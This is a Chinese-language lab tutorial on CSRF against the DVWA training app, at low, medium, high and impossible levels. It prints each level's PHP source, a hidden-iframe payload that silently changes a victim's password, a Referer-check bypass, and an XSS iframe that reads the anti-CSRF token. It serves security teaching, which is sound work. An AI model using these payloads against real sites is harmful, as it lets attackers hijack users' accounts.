CSRF 漏洞測試
CSRF簡介:
CSRF中文名:跨站請求偽造,英文譯為:Cross-site request forgery,CSRF攻擊就是attacker(攻擊者)利用victim(受害者)尚未失效的身份認證資訊(cookie、session等),以某種方式誘騙victim點選attacker精心製作的惡意連結或者訪問包含惡意攻擊程式碼的頁面,當victim觸發成功之後,惡意程式碼會被執行,瀏覽器默默的向目標service發出請求載入著victim尚未失效的身份認證資訊,導致victim替attacker完成了非法操作比如:在某些論壇上釋出大量的惡意言論、網站使用者密碼被惡意篡改、賬戶金額被盜取、刪除網站個人資訊~~~~~
漏洞測試:
通過DVWA平臺,對CSRF漏洞進行測試,讓大家走進CSRF的世界
環境:dvwa服務IP :192.168.43.146
attacker服務IP :192.168.43.150
- low level
檢視原始碼:
<?php if( isset( $_GET[ 'Change' ] ) ) { // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
程式碼審計之後發現:網站沒有對CSRF做出防範,只對網站進行了SQL防禦(通過mysqli_real_escape_string()函式的過濾作用,將使用者傳入的資料中的特殊字元進行轉義,有效預防了attacker對網站的SQL注入攻擊)
mysqli_real_escape_string()函式詳細介紹:
定義和用法 mysql_real_escape_string() 函式轉義 SQL 語句中使用的字串中的特殊字元。 下列字元受影響: \x00 \n \r \ ' " \x1a 如果成功,則該函式返回被轉義的字串。如果失敗,則返回 false。 語法 mysql_real_escape_string(string,connection) 引數 描述 string 必需。規定要轉義的字串。 connection 可選。規定 MySQL 連線。如果未規定,則使用上一個連線。 //有效預防了資料庫攻擊
既然網站沒有對CSRF保護那麼attacker就可以直接進行攻擊
使用者正常修改密碼:
使用者非正常修改密碼:
attacker製作含有惡意攻擊程式碼網頁
惡意程式碼:
<iframe hidden src="http://192.168.43.146/dvwa/vulnerabilities/csrf/?password_new=attacker&password_conf=attacker&Change=Change#"></iframe>
attacker將程式碼嵌入自己的釣魚網頁中,當victim受害者被誘導訪問該網頁時,惡意程式碼就會自動被瀏覽器所執行並攜帶著victim未失效的身份認證資訊向目標伺服器發出請求,而victim卻毫無察覺,自己的使用者密碼已經被attacker惡意篡改
victim被attacker誘導瀏覽自己網站上的圖片(惡意程式碼就隱藏在該網頁中)
你會發現該網站一切好像很正常&很美好,但自己卻不知道已經被攻擊了,網站密碼已經被修改為attacker
此時victim再去登陸時會發現自己已經login不上了
- medium level
檢視原始碼:
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
程式碼審計發現:該網站進行了referer欄位檢測,該欄位限制了不是同一個域的不能跨域訪問,attacker要想進行CSRF攻擊只要繞過if條件就可以,接下來分析該if條件
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )
$_SERVER[ 'HTTP_REFERER' ] 獲取網頁請求的來源URL
$_SERVER[ 'SERVER_NAME' ] 獲取目標伺服器的域名
$_SERVER[ 'HTTP_REFERER' ]和$_SERVER[ 'SERVER_NAME' ]通過stripos()進行匹配,檢視$_SERVER[ 'SERVER_NAME' ]字串是否包含在$_SERVER[ 'HTTP_REFERER' ]中,從而判斷使用者的服務請求是否是跨域請求,若是跨域請求則會被目標伺服器所拒絕訪問
attacker可以有兩種方法進行繞過:
第一種:將網頁的名字改為$_SERVER[ 'SERVER_NAME' ].html
第二種:新增網頁父目錄包含$_SERVER[ 'SERVER_NAME' ]
在這裡使用第一種方法進行繞過:
victim瀏覽該網頁,惡意程式碼被成功執行,victim的網站密碼被惡意篡改
- high level
檢視原始碼:
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
程式碼審計發現:該網站進行了user_token的檢測
user_token:
當用戶每次訪問修改使用者密碼頁面時,伺服器會先返回一個隨機的token,接下來當用戶向伺服器發起修改密碼請求時,需要提交user_token,當請求到達伺服器時,伺服器會優先檢查token,判斷客戶端的token和服務端的token是否匹配,若不匹配,伺服器則會拒絕客戶端的請求
在這裡attacker是不能偽造token的,因為token是一個很長的隨機數,attacker要想CSRF攻擊成功,只有通過利用網站的XSS漏洞獲取使用者的token
XSS利用程式碼獲取user_token:
<iframe src="../csrf" onload=alert(document.getElementsByName('user_token'))></iframe>
有關XSS的利用可以檢視筆者的這篇文章XSS Stored
利用user_token進行CSRF攻擊
構造惡意程式碼:
victim瀏覽存在惡意攻擊的網頁
攻擊成功
- impossible level
檢視原始碼:
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match or current password incorrect.</pre>";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
程式碼審計發現:使用者修改網站密碼不僅需要user_token的驗證還需要使用者輸入當前密碼進行驗證,因此,attacker不能對使用者進行CSRF攻擊
總結:
學過CSRF和XSS之後,你可能會有疑惑,它們兩個一樣嗎,不用多說,相信大家看名字就知道不一樣
CSRF攻擊是直接利用使用者尚未失效的cookie,並偽造特殊的請求對使用者造成危害的一種攻擊手段
XSS攻擊是直接盜取使用者的cookie,所造成的一種攻擊手段
兩者看似相似,當又有一些不一樣的地方